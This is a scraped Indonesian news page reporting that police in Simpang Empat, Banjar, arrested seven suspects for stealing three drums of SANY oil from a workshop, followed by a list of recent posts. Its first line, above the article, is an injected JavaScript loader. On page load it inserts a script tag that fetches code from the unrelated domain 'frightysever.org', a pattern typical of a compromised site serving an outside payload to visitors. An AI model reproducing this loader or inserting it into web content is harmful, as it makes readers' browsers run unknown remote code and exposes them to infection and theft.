(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Polsek Simpang Empat Banjar Ringkus Tujuh Pencuri Oli


MARTAPURA, Tujuh tersangka pelaku pencurian oli di workshop CV Bahar Sakran diamankan petugas Polsek Simpang Empat, Kabupaten Banjar. Mereka adalah Fahrudin, Hartanadi, Normansyah, Mahmudi, Ruspani, Wahyudin, dan Said Mujibburrahman yang ditangkap masing-masing di tempat dan waktu berbeda.

Kapolres Banjar, AKBP Takdir Mattanete melalui Kapolsek Simpang Empat, Iptu Endris Ary Dinindra mengatakan, semua tersangka diamankan di Polsek Simpang Empat untuk menjalani proses hukum lebih lanjut.  Barang yang dicuri berupa oli sebanyak tiga drum merk SANY.

Kerja cepat jajarannya setelah menerima laporan terjadi pencurian di workshop CV Bahar Sakran, Senin (20/8) lalu pada pukul 14.00 Wita. Kejadian bermula ketika Sri Wahdini membuka pintu gudang Workshop CV Bahar Sakran dan mengetahui bahwa tiga drum oli merk SANY telah hilang dari tempatnya.

Kemudian Saksi menghubungi Jakfar Sadik yang beralamat di Surabaya melalui telepon tentang kejadian tersebut. Selanjutnya pelapor memberitahukan kepada pemilik CV Bahar Sakran atas kejadian tersebut, kerugian sekitar Rp 18 juta.

Barang bukti berupa satu buah mobil pikap Suzuki dengan nomor polisi KT 8164 UF dan tiga buah drum oli merk SANY, dua drum masih ada isi dan satu drum kosong. “Pelaku pertama yang ditangkap Said Mujiburrahman di Tatah Pemangkin, pada Rabu (29/8). Kemudian kami kembangkan dan kembali menangkap Fahrudin, Hartanadi dan Normansyah masih pada hari yang sama,” tambah Ari Handoyo.

Lalu, malam harinya pihaknya kembali mengamankan Ruspani atau Damam selaku pemilik mobil pikap di Desa 15 Kecamatan Tambarangan dan juga mengamankan Mahmudi selaku pembeli oli hasil curian. Mahmudi diamankan saat berada di rumahnya, Desa Simpang Empat.

“Enam orang mencuri oli, kemudian menjualnya kepada Mahmudi yang rumahnya di Desa 3A, kemudian oleh Mahmudi yang satu drum sudah dijual secara ecer, jadi yang dua drum masih utuh,” ungkapnya. (rico)

Reporter: Rico
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.